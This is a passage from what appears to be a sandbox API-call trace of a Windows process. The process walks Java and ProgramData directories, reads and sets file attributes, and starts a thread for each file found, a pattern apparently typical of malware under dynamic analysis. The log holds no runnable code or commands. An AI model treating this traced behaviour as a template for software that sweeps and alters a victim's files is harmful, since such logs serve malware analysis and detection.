(x86)\\Java\\jre7\\lib\\deploy") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy" [0055.549] wcscat (in: _Dest=0x445eb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\" [0055.549] wcscat (in: _Dest=0x445eb0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*" [0055.549] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424ab0 [0055.549] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*", lpFindFileData=0x424ab0) Thread: id = 968 os_tid = 0x12fc [0055.549] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar")) returned 0x20 [0066.140] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar", dwFileAttributes=0x20) Thread: id = 969 os_tid = 0x1300 [0055.550] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a910 [0055.550] wcscpy (in: _Dest=0x44a910, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0055.550] wcscat (in: _Dest=0x44a910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0055.550] wcscat (in: _Dest=0x44a910, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*" [0055.550] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426ec8 [0055.550] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*", lpFindFileData=0x426ec8) Thread: id = 970 os_tid = 0x1304 [0055.551] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\flavormap.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\flavormap.properties")) returned 0x20 [0066.139] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\flavormap.properties", dwFileAttributes=0x20) Thread: id = 971 os_tid = 0x1308 [0055.551] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.bfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fontconfig.bfc")) returned 0x20 [0066.138] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.bfc", dwFileAttributes=0x20) Thread: id = 972 os_tid = 0x130c [0055.552] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.properties.src" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fontconfig.properties.src")) returned 0x20 [0066.143] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fontconfig.properties.src", dwFileAttributes=0x20) Thread: id = 973 os_tid = 0x1310 [0055.552] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x445f80 [0055.552] wcscpy (in: _Dest=0x445f80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" [0055.552] wcscat (in: _Dest=0x445f80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\" [0055.552] wcscat (in: _Dest=0x445f80, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*" [0055.552] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e06568 [0055.552] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*", lpFindFileData=0x12e06568) Thread: id = 974 os_tid = 0x1314 [0055.553] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a970 [0055.553] wcscpy (in: _Dest=0x44a970, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" [0055.553] wcscat (in: _Dest=0x44a970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\" [0055.553] wcscat (in: _Dest=0x44a970, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*" [0055.553] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e067d0 [0055.553] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*", lpFindFileData=0x12e067d0 | out: lpFindFileData=0x12e067d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ba8 [0066.141] wcscmp (_String1=".", _String2=".") returned 0 [0066.141] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x12e067d0 | out: lpFindFileData=0x12e067d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.141] wcscmp (_String1="..", _String2=".") returned 1 [0066.141] wcscmp (_String1="..", _String2="..") returned 0 [0066.141] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x12e067d0 | out: lpFindFileData=0x12e067d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 1 [0066.141] wcscmp (_String1="jvm.cfg", _String2=".") returned 1 [0066.141] wcscmp (_String1="jvm.cfg", _String2="..") returned 1 [0066.141] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x5e46b88 [0066.141] wcscpy (in: _Dest=0x5e46b88, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" [0066.141] wcscat (in: _Dest=0x5e46b88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\" [0066.141] wcscat (in: _Dest=0x5e46b88, _Source="jvm.cfg" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg" Thread: id = 975 os_tid = 0x1318 [0055.553] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x445f18 [0055.553] wcscpy (in: _Dest=0x445f18, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" [0055.553] wcscat (in: _Dest=0x445f18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\" [0055.553] wcscat (in: _Dest=0x445f18, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\*" [0055.553] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e06a38 [0055.553] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\*", lpFindFileData=0x12e06a38 | out: lpFindFileData=0x12e06a38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6660 [0065.490] wcscmp (_String1=".", _String2=".") returned 0 [0065.490] FindNextFileW (in: hFindFile=0x4a6660, lpFindFileData=0x12e06a38 | out: lpFindFileData=0x12e06a38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.490] wcscmp (_String1="..", _String2=".") returned 1 [0065.490] wcscmp (_String1="..", _String2="..") returned 0 [0065.490] FindNextFileW (in: hFindFile=0x4a6660, lpFindFileData=0x12e06a38 | out: lpFindFileData=0x12e06a38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 1 [0065.490] wcscmp (_String1="cursors", _String2=".") returned 1 [0065.490] wcscmp (_String1="cursors", _String2="..") returned 1 [0065.490] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x421738 [0065.490] wcscpy (in: _Dest=0x421738, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images" [0065.490] wcscat (in: _Dest=0x421738, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\" [0065.490] wcscat (in: _Dest=0x421738, _Source="cursors" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors" Thread: id = 976 os_tid = 0x131c [0055.554] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javafx.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javafx.properties")) returned 0x20 [0066.139] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javafx.properties", dwFileAttributes=0x20) Thread: id = 977 os_tid = 0x1320 [0055.554] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javaws.jar")) returned 0x20 [0066.142] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar", dwFileAttributes=0x20) Thread: id = 978 os_tid = 0x1324 [0055.554] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jce.jar")) returned 0x20 [0066.142] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar", dwFileAttributes=0x20) Thread: id = 979 os_tid = 0x1328 [0055.554] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a9d0 [0055.554] wcscpy (in: _Dest=0x44a9d0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" [0055.555] wcscat (in: _Dest=0x44a9d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\" [0055.555] wcscat (in: _Dest=0x44a9d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*" [0055.555] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e06ca0 [0055.555] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*", lpFindFileData=0x12e06ca0 | out: lpFindFileData=0x12e06ca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b68 [0066.142] wcscmp (_String1=".", _String2=".") returned 0 [0066.142] FindNextFileW (in: hFindFile=0x409b68, lpFindFileData=0x12e06ca0 | out: lpFindFileData=0x12e06ca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.142] wcscmp (_String1="..", _String2=".") returned 1 [0066.142] wcscmp (_String1="..", _String2="..") returned 0 [0066.142] FindNextFileW (in: hFindFile=0x409b68, lpFindFileData=0x12e06ca0 | out: lpFindFileData=0x12e06ca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x488e, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.jfc", cAlternateFileName="")) returned 1 [0066.142] wcscmp (_String1="default.jfc", _String2=".") returned 1 [0066.142] wcscmp (_String1="default.jfc", _String2="..") returned 1 [0066.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x437490 [0066.143] wcscpy (in: _Dest=0x437490, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" [0066.143] wcscat (in: _Dest=0x437490, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\" [0066.143] wcscat (in: _Dest=0x437490, _Source="default.jfc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\default.jfc" Thread: id = 980 os_tid = 0x132c [0055.555] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr.jar")) returned 0x20 [0065.889] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar", dwFileAttributes=0x20) Thread: id = 981 os_tid = 0x1330 [0055.556] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfxrt.jar")) returned 0x20 [0066.143] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar", dwFileAttributes=0x20) Thread: id = 982 os_tid = 0x1334 [0055.986] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jsse.jar")) returned 0x20 [0066.143] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar", dwFileAttributes=0x20) Thread: id = 983 os_tid = 0x133c [0055.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x96f9878 [0055.986] wcscpy (in: _Dest=0x96f9878, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0055.986] wcscat (in: _Dest=0x96f9878, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" [0055.986] wcscat (in: _Dest=0x96f9878, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*" [0055.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b74c0 [0055.986] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\*", lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440420 [0055.987] wcscmp (_String1=".", _String2=".") returned 0 [0055.987] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.987] wcscmp (_String1="..", _String2=".") returned 1 [0055.987] wcscmp (_String1="..", _String2="..") returned 0 [0055.987] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3736, dwReserved0=0x0, dwReserved1=0x0, cFileName="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms", cAlternateFileName="")) returned 1 [0055.987] wcscmp (_String1="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms", _String2=".") returned 1 [0055.987] wcscmp (_String1="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms", _String2="..") returned 1 [0055.987] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe4) returned 0x96f0008 [0055.987] wcscpy (in: _Dest=0x96f0008, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0055.987] wcscat (in: _Dest=0x96f0008, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" [0055.987] wcscat (in: _Dest=0x96f0008, _Source="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" [0065.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96f0008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x116c [0065.409] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1af79, dwReserved0=0x0, dwReserved1=0x0, cFileName="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", cAlternateFileName="")) returned 1 [0065.409] wcscmp (_String1="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", _String2=".") returned 1 [0065.409] wcscmp (_String1="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", _String2="..") returned 1 [0065.409] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe4) returned 0x97ad090 [0065.409] wcscpy (in: _Dest=0x97ad090, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0065.409] wcscat (in: _Dest=0x97ad090, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\" [0065.409] wcscat (in: _Dest=0x97ad090, _Source="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" [0065.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ad090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c0 [0065.410] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x4b74c0 | out: lpFindFileData=0x4b74c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1af79, dwReserved0=0x0, dwReserved1=0x0, cFileName="63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", cAlternateFileName="")) returned 0 [0065.410] FindClose (in: hFindFile=0x440420 | out: hFindFile=0x440420) returned 1 [0065.410] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b74c0) returned 1 [0065.410] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f9878) returned 1 [0065.410] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ef38) returned 1 Thread: id = 984 os_tid = 0x1340 [0055.987] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x440e20 [0055.987] wcscpy (in: _Dest=0x440e20, _Source="C:\\ProgramData\\Sun\\Java" | out: _Dest="C:\\ProgramData\\Sun\\Java") returned="C:\\ProgramData\\Sun\\Java" [0055.987] wcscat (in: _Dest=0x440e20, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\Java\\") returned="C:\\ProgramData\\Sun\\Java\\" [0055.988] wcscat (in: _Dest=0x440e20, _Source="*" | out: _Dest="C:\\ProgramData\\Sun\\Java\\*") returned="C:\\ProgramData\\Sun\\Java\\*" [0055.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8f38 [0055.988] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\*", lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440e60 [0055.988] wcscmp (_String1=".", _String2=".") returned 0 [0055.988] FindNextFileW (in: hFindFile=0x440e60, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.988] wcscmp (_String1="..", _String2=".") returned 1 [0055.988] wcscmp (_String1="..", _String2="..") returned 0 [0055.988] FindNextFileW (in: hFindFile=0x440e60, lpFindFileData=0x4b8f38 | out: lpFindFileData=0x4b8f38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", 